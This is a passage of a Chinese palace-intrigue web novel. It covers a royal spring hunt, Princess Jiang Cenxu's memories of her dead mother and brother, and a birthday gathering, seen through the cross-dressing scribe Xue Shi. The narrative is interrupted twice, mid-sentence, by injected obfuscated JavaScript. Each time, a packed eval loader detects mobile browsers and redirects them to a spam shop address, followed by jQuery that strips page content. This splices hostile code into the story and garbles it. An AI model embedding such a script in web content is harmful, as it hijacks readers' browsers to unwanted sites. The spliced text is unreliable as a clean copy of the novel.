“太好了,终于凑够了人,我小表舅看着就靠谱。” 薛适讪讪地笑了笑:“我骑射不精,到时还请二皇子和四皇子多多包含。” 行宫特为狩猎专设,几人换好胡服,骑马到达时,人已来的差不多了。 薛适抬眼望去,袁敏达已解了禁,同江接、曹御史的孙子站在一起,而不远处江岑许、萧乘风和宣凝郡主,正并辔而行。 众人刚下马站定,昭景帝和明皇后在一片山呼万岁声中被簇拥着走了进来。 两人皆是穿着明皇色的常服,眉目含笑相携而入,身后跟着明相等文武百官。 宫人们早已陈设好御座,瓜果茶饮,各式点心一应俱全。 昭景帝落座后,朗声开口:“又是一年春蒐,朕的皇子公主看着愈加卓然,想必更胜往年精彩。 前段时日波斯进贡的猎鹰、猞猁,还有关塞的猎豹、猎犬,叫五坊使都放出来吧,朕看着各个勇猛,颇有气势。”昭景帝吩咐着奚玄,脸上难掩兴奋之色。 “皇上不可。”明相却是恭礼道,“五坊使的人才接手没多久,这些猎物又一向凶猛难以驯化,怕是会伤到各位殿下。” 众朝臣也纷纷出声表示赞同。 昭景帝笑容不减,但眸色却黯了黯:“也好,还是诸位爱卿想得周到,那就用平常的吧。” 四月,卷云丝缕。湛蓝天际之下,鹰悬而飞,犬逐豹猎之间,几人接连策马抛鞚,远去的背影似乎能卷起暴烈的风浪。 薛适没想到在最前面的居然是他们三个,江岑许三人跟在后面,而江接一行人竟是落在最后,她直觉江接此举肯定有问题,便回头看了眼,刚好和身后的江岑许对上视线。 “二哥,小表舅,你们一会儿跟紧我。”江抒在一旁小声道。薛适只好先收回目光。 江抒带着他们来到了一片湖边。 “我去年来时意外发现这附近的动物都很温顺,不用太费力就能猎到不少,所以我特意记了路想着以后就来这。” “确实不错,今年和四弟一队,我应是不会再像往年输得那么惨了。”江措笑道。 春蒐只可猎取没有怀胎的禽兽,几人避开孕中的动物,倒也狩得不少。 江抒摇着头直叹气:“大哥实在太猛,我是争不过。只要今年不输得太难看,父皇和外祖能不骂我,我就心满意足了。” 薛适被江抒这副样子逗笑了,她满上弓也射了一个。想了想,试探着开口:“大皇子如此英勇,是不是很难有对手啊?” “要是三哥还在的话,没准能。毕竟我们小时候第一次参加春蒐,就被三哥虐得体无完肤,那应该是大哥唯一一次输。” 江措也想起了当年的事,回忆道:“我们四个本来盯上了几只兔子,结果跟着跟着突然遇到了两只饿狼。我本就不擅武,当时甚至反应不过来要拉箭,更别说最小的四弟了。大哥倒是冷静些,带着我们赶紧欲往回跑,但三弟却没有动。” “对对!我记得三哥当时是这么说的——”江抒清了清嗓子,有模有样地学着,“‘和饿狼比跑?要不要直接躺地上,把自己喂到它们嘴里啊。反正都是死,这还能死得安详些。’” 薛适只觉江岑许不愧是江执的妹妹,两人说话方式简直一模一样。 “大哥被激得刚想发火,就听三弟冷静道:‘你带二哥和四弟先躲到树后,我来引开它们,等它们被我引走时你在后面往狼的腿或腰处射,然后我趁此爬到树上再射它们的眼睛,这样便追不了我们,到时再一起逃。’” 两人当年虽年纪小,但骨子里毕竟流着一样的血,配合十分默契。 江接射中其中一只狼的腿后,果然听得一声撕裂的悲鸣,这只狼一下子就失去了攻击力,但也因此惊动了另外一头,它竟放弃了去追江执,而是转头朝着江接过来。 江接惊地手一抖,离弦的箭只落在眼前的地上。但那头狼却已被激了凶性,银蓝的眼直勾勾盯着他,像是能瞬间吸人魂魄,江接没跑几步就摔倒在地。 幸而这时箭声划过,身后的狼被江执射中了腰,因着腰是狼全身最柔软的部位,它的速度顿时降了下来。 江执之前已在树上射中伤腿之狼的眼睛,见江接有危险忙又跳下树追了上来。 他拉起摔在地上的江接,带着江措和江抒赶忙离开。几人拼命狂奔,江执垫在最后,跑出一段距离时,又回头朝那只伤了腰的狼射了一箭,确保已无法再跟上来,才放心继续带着几人头也不回地逃离。 “父皇听后大喜,三弟本就受父皇喜爱,经此事后更是被父皇立为了太子。” “哎……小五怎么能一点三哥的优点都没学到呢?”江抒叹道。 薛适却皱了皱眉,眼前不由浮现之前和江岑许在山间逃亡的情景。 江措则是笑了笑:“还是像的。你忘了小五小时经常扮成男子,偷偷跟着我们外出打猎?每每被父皇发现,她都仗着和三弟长得像,说大家错认了她和三弟。 不过小五确实厉害,本就和三弟相像,又将三弟举手投足的气质模仿了七分,要不是有一次三弟被父皇叫去背书,小五的计谋恐怕会一直继续下去。” “怎么不记得?那日刚好是我五岁生辰,结果也跟着一起被父皇教训了一通……” 回忆间,几人带着猎物往回走,刚好看到江接一行人。 他们狩得的猎物和江抒选择的完全相反,皆是熊、豹这些威猛的动物。 江接似还不满足,仍接连不停地朝前 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箭矢直朝江岑许胸口.射去,江岑许却十分不凑巧地先一步往前拨着马。只是虽避开了这支,江接已射出另外一箭,直擦马蹄而过。 马骤然受惊,嘶鸣一声掀起前蹄,江岑许身子猛地后滑,她想着要不就这么摔下去算了,正好省去江接和袁敏达接二连三试探她的麻烦。 未曾想,身前一片青色袭过,薛适打马从一侧赶来,两马紧贴着,前后并辔,她伸手紧紧拉着江岑许马上的缰绳,然后一踩马蹬,从自己的马翻身落在了江岑许的马上。 江岑许有些意外,下意识圈住了薛适的腰将她扶稳,见马渐渐被安抚下来,才收了手。 见两人都没事,江措放下心来,在一旁替薛适牵好马,江抒则是不解地问:“大哥是跟小五结了什么梁子,今日这么凶?” “可能和敏达因小五被罚有关?毕竟大哥平日里和敏达关系不错。”江措猜道。 萧乘风和宣凝郡主也赶了回来。江接看到他们狩得的都是些不用箭也能杀死的小型动物,诸如蛇、蜈蚣之类,不屑道:“这些有什么好射的,踩都能踩死。” “那也好过大皇子没长眼,往人身上射吧。”萧乘风阴阳怪气道。 “我们又不比大皇子,队里的人都擅箭术。”这时候宣凝郡主也不跟江岑许逗嘴了,向着她道,“总要保护好五公主吧。” “射这些有什么不好?”江岑许却是不慌不忙地开了口,“大哥手里都是些凶猛的,二哥和四哥狩的都是些温顺的,那本宫就猎这最毒的。” “春日千兽繁殖,万物股长。没了猛兽压制,少了良禽调和,总不能只留这些毒物独占山头为所欲为吧。既然入山用山,那就要重新还这山间一个平衡。” “天啊……小五的嘴皮子是真的厉害,什么事都有奇奇怪怪的理由。”江抒听后在一旁叹道,“箭术不好都能让她说出花来。” 薛适却觉得江岑许这番话所想细腻,叫人敬佩又震撼。她想了想:“或许是因为……殿下说的总是对的。” 16. 镌刻 橙红渐晕染,暮色落山林。 春蒐也进行到了下一个环节,各队要互相抢夺对方的猎物,一旦有人被箭击中,不仅要出局,还要将自己手里的猎物交给对方。 为免伤到彼此,众人换了无头箭,然后找寻着藏身的地点。 薛适把手里的猎物都交给了江措和江抒,怕连累他们,薛适特意找了个离两人较远的丛林间趴着。 当然,其他人都是主动出击,只有骑射不精的她被动藏着。 “诶?殿下?” 薛适没想到江岑许居然也藏在这,还明目张胆地就靠在树下,一点遮挡也无。 她扭着身子活像条暗暗爬行的蛇,小声提醒道:“殿下你这会不会太明显啦?” “反正本宫无论去哪,袁敏达他们都会朝我射箭。既如此,”江岑许百无聊赖地拨着箭弦,轻慢道,“本宫为何还要到处逃让他们这样溜呢?不如干脆在这等着,本宫耍弄着他们不是更有意思?” “有……有意思。” 薛适想着她是不是该换个地方,江岑许耍着他们是开心了,可她躲在旁边心惊胆战地爬行,还不如被溜呢,奈何不远处其他人已经开始对峙,她只好先窝在这。 薛适听得几人骑马渐渐远去,一时间周遭静寂,想来暂时不会回来发现她,便稍稍坐了起来,随手捡了根落枝在地上写写画画打发时间。 “原来春蒐都是要大家组队配合的吗?”薛适待得有些无聊,便主动跟江岑许搭着话,“之前看史书的时候好像没见过类似的说法。” 江岑许转了转手里握着的箭,半晌,才缓缓开口:“是我母后提的。” 薛适有些意外,一旁江岑许漫不经心地解释:“她说狩猎不应只独自求赢,和同伴互相协助才能取长补短,狩得更多。不然一个人久了,只想不择手段地去赢,却忘了携手并肩的胜利才更长久。” 江岑许提起这些时虽看着一副心不在焉的样子,但薛适却觉此刻的她与平日截然不同,眼中像揉碎的漫天星河,温柔又耀眼。薛适歪头看了会儿,握着树枝在地上画了起来。 再次侧头时,江岑许也看向了她:“你在画什么?” 只见薛适面前的地上画了个小人,过分大的眼中不知为什么全是一个个小点点,过分小的唇压根注意不到那几不可察的微翘,要不是江岑许凑近了看的,险些以为薛适根本没画嘴巴。 江岑许边看着画,边上下打量着薛适,如此反复了好多次,直看得薛适觉得有些发毛,她刚想开口,江岑许一下笑出了声:“如果世上有妖鬼,见了薛待诏的自画像,怕是都能吓得直接选择原地自尽。” “……”真不愧是江岑许的嘴啊。 眼前本就心情不错的人,现在更加开心了。眼睛里,嘴角边,声音中,就连呼吸间,好像都拖曳着放肆灼亮的笑意。 薛适看着地上的小人,又看了看旁边分外愉悦的人,一时有些一言难尽。她咽了咽,踌躇道:“其实,我画的是殿下你……” 江岑许:“?” “呐,殿下刚刚说起许皇后的时候,就是这个样子。”薛适拿着树枝点了点,很是认真道,“虽然嘴角克制着上扬,但眼里的温柔根本藏不住。” 江岑许没想到薛适会这么说,她又看了眼那小人。 行吧,嘴巴勉强说得过去。但是——江岑许眯着眼,十分不解地用箭指了指小人眼中密密的小点点,“这怎么就温柔了?” “是星星啊。”薛适模拟着星星闪烁的样子张了张手,笑道,“这看起来不温柔嘛?” 江岑许抽搐地哼了下,表示不想说话。她嫌弃地看了一眼,然后用箭支挑起片树叶盖在了小人上面。 薛适:“……” 她只好找补道:“许皇后是这么说的,其实殿下也是这么做的吧。就像之前盒子的事……殿下没有选择杀了我一了百了,而是救了我一起对付大皇子和袁将军。” 虽然薛适现在都不知道那盒子里装着的冰心笺到底写了什么,但她还是很感谢江岑许愿意救她,尽管五公主脾气着实不算太好,但有时候又感觉……像是多了个还不错的姐姐。 “薛待诏这是在提醒本宫应该杀了你?”江岑许一如既往地坏着气氛,无所谓地道,“本宫只是觉得薛待诏能力不错,死了实在可惜。长安这么繁华,实在需要薛待诏这样虔诚的记录者,共写盛景。” 薛适愣了愣,没想到江岑许竟会如此评价代笔的意义。 她微微翘了翘嘴角,掀开了江岑许盖上的树叶,握着树枝将小人的嘴巴沿着原来的痕迹又画得长了些。 江岑许也瞄了一眼过去,小人的嘴巴在薛适一点点的勾勒下,最终咧着长而弯的笑容,不再与大大的星星眼割裂,而薛适嘴边亦漾着浅浅的梨涡,像是能镌刻出快乐的形状。 不过,薛适才刚画完就听得马蹄声疾近传来,应是有人发现她们了。仓皇间薛适刚要趴下藏好,箭声却已先一步凌空袭过,直朝她和江岑许飞来。 江岑许眼疾手快地将薛适拽离堪堪避过,但飞来的箭还是射中了薛适的发髻。只听“当”地一声轻响,薛适束发的笔被箭支打掉了。 薛适紧张地冷汗骤起,感觉连身上的汗毛都变得冷硬起来,她惊慌失措地忙伸手去拢即将散落的头发,江岑许却是先一步按住了她尚未散形的发一个转身,两人已调换了位置,江岑许背对着箭支射来的方向,拿着手上的箭几下给她束好了头发。 薛适心中忐忑不已,生怕被看出端倪,面上却只得强装镇定:“……多谢殿下,没想到无头箭的威力也这么大。” “威力都是次要,薛待诏散了头发可不行。”江岑许的神色倒是没什么变化,依旧如往常般轻佻道,“怎么能让别人看到本宫的面首这副模样呢?” 薛适真的很佩服江岑许,她怎么无论在什么时候,都能不忘提起面首或是人骨玩偶呢。 话音刚落,江接恰好也走了过来。 “薛待诏出局了,手里的猎物交出来吧。” 江岑许却是不以为然,转身疑惑道:“凭什么给大哥?要给也是给本宫。” 江接一脸莫名其妙,根本搞不懂江岑许是在抽风还是在变着法地算计,薛适也没明白江岑许为什么突然这么说。 “你离薛待诏那么近,没看到本王的箭射中了她的头发吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964281|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “没看到。”江岑许摇着头一脸茫然,“大哥你的箭在哪啊?” 当然,茫然只不过眨眼的功夫。下一瞬,江岑许很是炫耀地道:“不过,我倒是可以告诉大哥我的箭在哪哦。”她得意地指了指薛适发间,“在这!”那神采奕奕的样子就好像真的是妹妹在很高兴地告诉哥哥自己终于射中一般。 “人在箭在,所以,薛待诏是本宫的。” 江接一脸鄙夷,薛适却是幡然醒悟。 她怎么和江岑许聊着聊着就忘了她们根本不是一队的!按江岑许的性子,这很有可能是她为了赢早就准备好的计。 江接盯着眼前一脸无辜的人,还真是会装啊!便也跟着演道:“小五你简直胡闹!这怎么能算?”他径直从江岑许身边走过,打算装装样子去找掉落的箭给她看,却觉头上忽地一沉。 “你输了。”江岑许的声音已变回了平日的简短而清冷,“交出你的猎物吧。” 只见江岑许的另一支箭正竖直插在江接发间,颤颤巍巍间一摇一晃地,看起来活像根成了精怪的筷子,滑稽非常。 江接气得脸都绿了,没想到江岑许这招居然还能这么用在他身上!刚想开口,却见江岑许忽地满弓上箭,直指向他。 江岑许的目光冷冽如刀,身姿挺立而卓然,嘴边是嚣散的笑意,那副笃定自若的模样,仿佛只需一松手,哪怕江接不是在她面前,而是在百步之外,也必会受刺。 这是装不下去了?从前江接一直只当江岑许是个荒唐的公主,而今种种蹊跷,他却未能及时摸清江岑许的真实底细,眼下倒又是个好机会。江接故作意外地惊讶了下:“小五,你什么时候学会的箭?” 薛适不由屏住了呼吸,也紧紧盯着江岑许手上的弓箭,同时拉紧了自己的心弦。 她看过江岑许手上的老茧,听过宣微殿夜夜笙歌下的剑声铮铮,也看过山林间她策马无畏,运筹帷幄…… 似乎每一面都与平日的江岑许不同。 然而最后,江岑许还是放下了弓箭,又恢复了柔弱无力的模样。 “太难了太难了,我是学不会了。这么沉,我看大哥拉箭那么轻松还以为很容易,怎么我才拉一下手臂就酸痛得像要散架一般。”江岑许一边说着一边还将胳膊软绵绵地伸向薛适,“薛待诏快给本宫揉揉。” 江接算是明白了,江岑许惯会在装傻充愣中气人,真真假假总是吊着别人让人看不出深浅。 “多练练就好了。”他将手里的猎物递给江岑许,很是耐心地安抚道,“三弟在世时骑射就十分厉害,如今看小五刚才的架势……可是丝毫不输三弟啊,人太过自谦也不是什么好事。” 江接话中之意明显,摆明在说江岑许箭术一看就不错,说不会都是装的,但江岑许这人总有法子曲解别人的意思。 “我三哥都死了十年了,大哥还这么念叨,该不会又想起以前你总输给他的事吧?”她很是好妹妹般地安慰道,“没事,他死都死了,这么多年大哥也该是第一了。总不能……”江岑许点着下巴思索了番,有些苦恼地道,“杀了你?好让你有机会到阎王面前,再接着跟我三哥比试?” 17. 御风 江接听到这话时眼里像是能喷出火来。 江执活着的时候跟他抢父皇的宠爱就算了,死了竟还留下个更难缠的妹妹祸害他,他这辈子是都摆脱不了江执了吗! 薛适看着江接强压狰狞的神色,心里第无数次感叹——真是没有人比江岑许更懂该如何气死人。 不过,虽然江岑许用这招又四处赖到不少猎物,但最后显然都不能作数,毫无悬念今年春蒐还是江接获胜。 而江岑许也因此被昭景帝好一通训,说她太过无理取闹,竟视春蒐为儿戏,罚她抄三遍《狩猎训则》。 刘掌院提醒薛适:“薛待诏曾教导五公主书法,如今皇上罚五公主抄书,你理应常去监看,以尽师责。” 薛适也是这么想的。再加上……如果不是江岑许及时帮她束好了头发,她披头散发的样子被江接看出女扮男装,死不必说,也定会给皇后惹来不少麻烦。 等忙完手里的事离开翰林院时,外头已是深夜。一路除了巡逻的守卫,薛适基本没见到什么人。但经过含元殿时,却隐约瞧见有个人影站在高台之上,摇摇欲坠像是随时会掉下来。 薛适见状立马走了过去,距离逐渐拉近,月光在那人身上一点点笼罩,黑暗散去,显露出她的模样来。 “殿下?”薛适惊道,“这么晚了,你怎么在这?” “薛待诏?”江岑许的语调较平日有些拉长,带着深哑的醉意,想是饮了不少酒。 薛适见江岑许醉得不轻,轻声哄道:“殿下喝醉了,臣带你回去吧,站在这实在太危险了。” 江岑许没答,只是站在高台之上,俯视着含元殿下长长的龙尾道,薛适眼看着她就要跳下去,吓得忙上前大喊:“殿下不可以!” 江岑许回眸看向薛适,深沉目色如水般幽宁:“本宫只是想从这高台之上跳下来,让风吹得再快再冷一些,这有何不可呢?”她一副无辜的模样,状似不解,“莫不是薛待诏在怪本宫没带上你?” 哪有人想吹风就跳楼的啊! 薛适紧张地观察江岑许脚下动作,张着手时刻准备把她拽下来:“殿下要是热,臣可以……” 她话还没说完,就见江岑许一把拽过她伸来的手,带着她轻飘飘向后一倒,直往龙尾道下摔去。 “——那一起跳吧。” 薛适大脑一空,只能看见夜色之下,江岑许笑意慵倦,似是自带醇烈酒气。 薛适死死抱着江岑许的胳膊,整个人都缩在她身前,眼睛也闭得紧紧的。头顶一声轻笑和在风里:“睁眼啊,不然一会儿该错过了。” 预想的疼痛的确迟迟未袭,而她们似乎正坐着什么下滑,只有风变得更快更冷了些。薛适依言慢慢睁开眼睛,她们正坐在一个小木船里,一路在龙尾道颠簸下滑。眼前长夜沉坠,星河尽落,而她们御风乘行。 她看见江岑许在风中放声肆笑,还挥着手很是享受的模样,俨然像个贪玩的小孩子。 “本宫已经十年没和别人一起坐这个了,薛待诏还真会赶巧。” 十年…… 薛适讶异道:“殿下上一次是和?” 江岑许顿了顿:“小时候,我和……我哥最喜欢偷跑来含元殿玩,因为只要登上含元殿,就能看到整个长安。母后怕我们乱闯有危险,就做了这个小木船。每当夜里无人时,她便会带着我们这样从龙尾道上滑下去。” 小木船已载着两人滑至底端停了下来。薛适回头看着江岑许:“殿下是想三皇子和许皇后了吧。” 江岑许低垂着眼沉默了会儿,良久才道:“今天是我母后的忌日。” 她缓缓抬眼,看向龙尾道的层层台阶,眼里是说不出的寒幽。 “每天上朝,文武百官都要从龙尾道进入含元殿,这里承载着整个长安的希望。可是,”她嘲讽地笑了下,“也是这里逼死了我母后。” 薛适静静听着,想到先皇曾称赞许皇后才华不亚于她,而这堪比女帝的无上盛名,却也成了许皇后自缢的白绫。 “只因是女子,所以那些异于男子的才能,便成了文武百官口中‘祸国妖女的狼子野心’,甚至还诬陷我母后……叛国。” 那两字极轻极轻,却仍让人心神一颤。江岑许自嘲地笑了笑,“可我没有证据。明相呈着母后写给关塞王的书信递到父皇眼前时,文武百官在下,关塞挥兵在外,父皇纵使再相信母后,因着母后本就与关塞王青梅竹马,关系匪浅,一时间也难以力排众议洗去污名。” “母后再有才华,何以凭一己身躯,对抗天下之人?比起洗刷这身污名,她更在乎的,是我和……是我们,是否会因生母背上这样的骂名蒙羞,所以母后她……选择了自我了结。” 江岑许的声音很淡,但薛适听着却有些难过,更多的感受则是沉重与悲哀。 看着江岑许第一次完全表露真实的情绪,她忽然想起江措先前对她说的,“不知为何父皇以许皇后心怀不轨,肆意干政为由,下旨废了许皇后,几天后许皇后就自缢了”。 如今看来,“不知为何”的背后,或许是皇上为了保全许皇后最后的清名,将叛国之言压了下来。 “许皇后她……是不想当时身为太子的三皇子,因她受到牵累,所以才会以死应对。但这并不意味着她认下了这身冤屈,而是因为她相信,终有一日,她的两个孩子会为她沉冤昭雪。” “如今三皇子已逝,殿下……” “所以,薛待诏,”不等薛适说完,江岑许蓦地欺身逼近,出声打断了她,眼神中似灼烧着某些难以辨明的压抑,“别和明相太亲近。因为总有一天,我会杀了他。” 说完,江岑许移开视线,拖着小木船,像是小孩子执拗地攥着自己最爱的玩具般,再次爬过龙尾道,又回到了高台。 薛适也跟着一起回到了起点。 如果真有那一日,她能做的,只有拼尽全力保护明皇后和她的孩子江抒不受伤害。 因为当她遭受着薛家的重男轻女压迫,被逼从小做男子装扮时,只有娘亲和明皇后,给予了她身为女子的尊重与关怀。 江岑许摆好小木船,幽深目光落在远处夜色,似乎这样就能看见宫外市井间的热闹繁喧。 良久,薛适听见江岑许说,“长安,不该只是男人的长安。”然后,再次跌入了风里。 而这一次,薛适鬼使神差地,也主动跟着跳了下去。 是啊。 无论是照料家庭的寻常女子,还是叱咤风云的女皇帝;无论是巾帼不让须眉的女将军、才思细腻的女诗人……还是受盛名所累而死的许皇后,和被薛家重男轻女所困的她。 每一个曾为长安繁华努力过的人,都不该被抹去。 耳边风声激荡着紧张而又雀跃的心跳,每一次从高处纵跃,其实只有跳下来的那一瞬是害怕的,其余都是畅快和自在,所以才会令人沉迷这样的感觉。 听着这样的风声,薛适心中一动,忽地坚定开口,散着笑意的气息裹在声音之中,似能扰动这晚风。 她接着江岑许方才的话,“而我想…… 每一个曾辅佐过这簇繁华的人,都被记得。” 夜风吹拂,世间一片安宁。 唯有江岑许笑着“嗯”了声,是难得的温柔。 “我希望你如愿。” 那是十四岁的薛适,和十七岁的江岑许,共同的野心。 - 几天后,出乎薛适和刘掌院意料的是,江岑许竟十分听话地抄完了三遍《狩猎训则》,而且字迹工整,完全没像往常一样刁难耍赖。 对此,翰林院众人在一起吃饭时,有人小声猜道:“虽然春蒐上五公主因着对大皇子使计被罚,但这之后皇上还是没立大皇子为太子,跟大皇子比起来,五公主这点罚又不憋闷,当然乐得抄书。” 薛适没跟着参与这个话题,只专心埋头吃饭,偶尔笑着点头附和。 “三皇子离世后这十年春蒐一直都是大皇子第一,文武各方面大皇子又都出色,但皇上还是没立他为太子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983625|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要我是大皇子,这心里也难免不好受啊。” “难道皇上属意四皇子?毕竟是明皇后所出,身份尊贵。” “谁知道呢。或许,皇上还是放不下三皇子的死吧……” 吃过饭,薛适去给明皇后送抄的佛经,路上刚好遇到奚玄。 “奚公公,你这是……” 奚玄怀里也抱着些经书,他有些慌乱地摆弄了几下:“那个……扬州请愿寺的清缘法师和清弥法师这几日进了京,皇上留他们在大福殿要待上一段时间,想着娘娘爱看经书,我就趁此向他们讨要了些孤本。” 扬州尚佛之风盛行,寺庙不下六七十所,而请愿寺是扬州最大的寺庙,香火旺盛,与长安荐福寺不相上下,甚至有过之而无不及。 薛适笑着将自己抄写的经书一并给了奚玄:“那就劳烦奚公公连同我的也一起给娘娘送去,翰林院那边刚好有急事,谢啦。” “薛待诏——”奚玄微微错愕了下,薛适却是头也没回地跑开了。 明皇后还是相府小姐明茵时,曾在薛府借住过一段时间,也就是那个时候,她们两个发现了彼此的秘密。 明茵知道了自己这个表弟其实是表妹,而薛适知道了明茵有一个自少时就一直深深喜欢着的人,她的青梅竹马,奚玄。 可是没多久,明茵就被明相逼着入了宫,她本想宁死不从,但明相以奚玄的性命相要。而在那之前,明茵不知道的是,奚玄为了她,已被明相迫害做了宦官。 五年的时间,许皇后离世,她从贵妃跃升为最年轻的皇后,自此在深宫中沉浮,没有尽头。 薛适停下脚步,再回头去看奚玄时,已不见他的踪影。 宫门重重,明茵与奚玄,皇后与宦官,是云泥相隔,是不能明目张胆凝望着的人。但庆幸的是,这么多年,他们依然在彼此身边。 - 春蒐之后,天气愈来愈热,很快,已是暑伏。 夏日阳光绚烂灿明,但翰林院众人却各个阴沉着脸。 离宫工期已定在今秋,但宫名至今仍未定下,薛适记得刘掌院之前就苦想了好几个月,谁知昭景帝还是都不满意,弄得刘掌院现在一提这事就开始觉得眩晕,便吩咐翰林院所有人跟着一起想。 本来大家还觉没什么,但想了好几百个皇上不是认为没深度,就是觉得不好听,反正怎么都不合心意,一向氛围活泼的翰林院一时间变得死气沉沉,平日大家爱不释手的古籍书卷,眼下压根都不想翻。 就在大家接连一片的叹气声中,薛适忽然道:“其实……我之前交了一个到皇上那里,皇上看起来似乎颇感兴趣,但具体怎样还没定。” …… 因着宫名的事,薛适更加忙碌,转眼就到了处暑。 这天,宣微殿难得热闹,因为第二日是江岑许的生辰。 江措、萧乘风还有宣凝郡主都聚到了这里,陪江岑许跨子时,贺生辰。 宣凝郡主一进来就别扭开口:“本郡主是为了陪乘风哥哥才来的,你可别自作多情。” 江岑许冷呵了声,故意不理她。眼看着俩人又要吵起来,江措笑着先一步开口:“既然人齐了,咱们便开始吃饭吧。” 萧乘风也跟着道:“对对,我都饿死了!夏天最容易饿了。” 江岑许却是微微皱了皱眉:“再等等。” “等什么?” 江岑许看了看外边愈加深沉的夜色:“你们先吃,本宫出去一下。” 宣凝郡主气道:“你是不是故意的?你走了,我们怎么能先吃呢。” 几人只好一边闲聊,一边等江岑许回来。 不知为什么,江岑许不想只在宣微殿前等。她朝着翰林院的方向一路向西,在经过紫宸殿时,终于看见暗夜里一抹青色飞快晃动。 薛适气喘吁吁地小跑过来,头上的白色发带在风中飘个不停,江岑许看着她的身影越来越近,与之而来的还有熟悉的声音。 “抱歉殿下,我、我来迟了……” 18. 乌梅 薛适眼中笑意粲然,灼得夏日的夜都变得热烈起来。 “皇上刚刚已经下旨,离宫的宫名就用臣拟的‘赞襄’,主殿的题字也定了‘赞襄盛业’,殿下高不高兴?” 江岑许懒懒掀了掀眼皮:“本宫为什么要高兴?” 她转身朝宣微殿走,薛适跟在后面,很是认真地回道:“嗯……因为这是臣想送的生辰礼。” 她想到江岑许提起许皇后说狩猎要携手互助时的温柔;想到龙尾道小木船上,江岑许应下她想要每一个辅佐长安繁华的人都被记得时的坚定。 而在江岑许眼里,她作为代笔人,亦是长安繁华的记录者。所以…… “您的愿望,臣帮您记在宫名上啦。” 江岑许脚步一顿,身后声音欣然落下,轻快的语调中是无尽的期待。 “赞襄盛业,长见长安。公主殿下,要常健长安呐。” 江岑许回身看向她,眼前的人眉眼弯弯,盈盈笑意洒落眸间,像是夜色湖边光华烂漫的萤火。 “怎么了吗?”对上面具背后那道幽邃不明的目光,薛适有些不明就里。 她话刚出口,江岑许忽然上前一步,轻轻抱住了她。 鼻间是薛适身上清幽的墨香,深深浅浅地,缭绕在她们身旁,似乎写尽了这一瞬夏夜的汹涌漫长。 江岑许攥了攥曳在薛适身后飘系的发带,手上过分收紧的力道,不知是在克制冷颤,还是因为其它。她若无其事地缓缓开口:“等薛待诏等得有点冷。不过……” 薛适看不到的身后,江岑许嘴角微扬。 “现在好多了。” 在宣微殿苦苦等着吃饭的几人,见跟着江岑许一起回来的是薛适,虽有些意外,但又觉得在情理之中,毕竟薛适教导过江岑许书法,还在江岑许被袁敏达绑走时出手相救。 但萧乘风知道真相,自然不会这么想,心中顿时闪过各种猜测:难不成……江岑许发现薛适又有什么异常了,想要借今晚来试探他? 萧乘风被自己聪明到了,最先开口:“原来等的是你小子!害本世子饿了这么久,快自罚三杯!” 管他呢,先灌醉了再说,醉酒好套话。 薛适怎么知道萧乘风的心思拐得山路十八弯,只觉自己来迟让所有人都等她确实失礼。 “抱歉,让大家久等啦。”薛适直接一闭眼连饮三杯,虽然她酒量不好,但左右明天休值,也不碍事。 “薛待诏……也太听话了些。”江措朝她低声道,“乘风这人就爱开玩笑,这西域的酒烈得很,你三杯下去,脸都红了。” 的确是烈,薛适现在就觉得有些晕乎乎,她佯装淡定地笑了笑:“还好。” 江岑许看了眼薛适明显迷离的眼神,拿走了她刚刚装过酒的杯子,换了个新的放那,给薛适和宣凝郡主各倒了一杯乌梅浆。 “你们俩喝这个。” “这么甜,大男人谁喝这个啊!”萧乘风没看懂江岑许此举背后的深意。 “这酒本宫自己喝都不够,当然要省着点分。”江岑许很是不满地夺过酒,“萧世子和二哥倒罢了,薛待诏还是喝乌梅浆吧。” “……哦。”薛适有点委屈,好得她也是送了礼物的,怎么连好酒都不配喝呐。 吃过饭,几人闲聊了会儿一起跨过子时,便都回去休息了,萧乘风还想“帮忙”套话,谁知薛适已经醉得直接趴在桌上睡着了,他暗自给江岑许递了个眼神,小声道:“这还怎么套话?把他摇醒吗?” “……什么套话?” “你突然叫他来难道不是又怀疑他了,想趁机灌醉好套话吗?”萧乘风一副了如指掌的笃定样,“怕你不方便下手,我还偷偷往他杯里的乌梅浆掺了些酒,不过这小子酒量还真是差。哎你赶我走作甚……” 江岑许直接把萧乘风推出了门外,语气算得上十分和颜悦色了:“萧世子的脑子是被热得融化掉了么?我要是想灌醉她,为什么要换乌梅浆给她喝?” “真……没后招?”萧乘风一脸不可置信,“难不成——你还真的只是单纯请他过来?哎你别走啊!” …… 江岑许关上门,走到桌旁靠了会儿,见薛适完全没有要醒的意思,在她眼前挥了挥手,威胁道:“薛待诏要是敢把口水沾在上面,小心本宫把你做成人骨玩偶。” 薛适却是没任何反应,依然安心睡着。 江岑许又俯身蹲在桌旁,凑近了些继续挥手道:“再不醒,可就让薛待诏陪本宫一起睡了。” 要在平时,薛适听到这些肯定早吓得干笑几声连连躲远,结果现在一动不动仍睡得酣然,江岑许不由轻笑了声,还真是醉得不轻。 她刚打算起身找床被子给薛适盖上,手腕却突然被人握住了。 隔着遮在眼前的手,江岑许隐约透过自己的指缝看见薛适缓缓睁开眼,带着迷离的醉倦:“小将军……?” 薛适皱眉喃喃着,只觉眼前场景变换交错,她有些分不清是哪一次,而指缝后的那双眼在幽微之中被无限放大,熟悉非常。 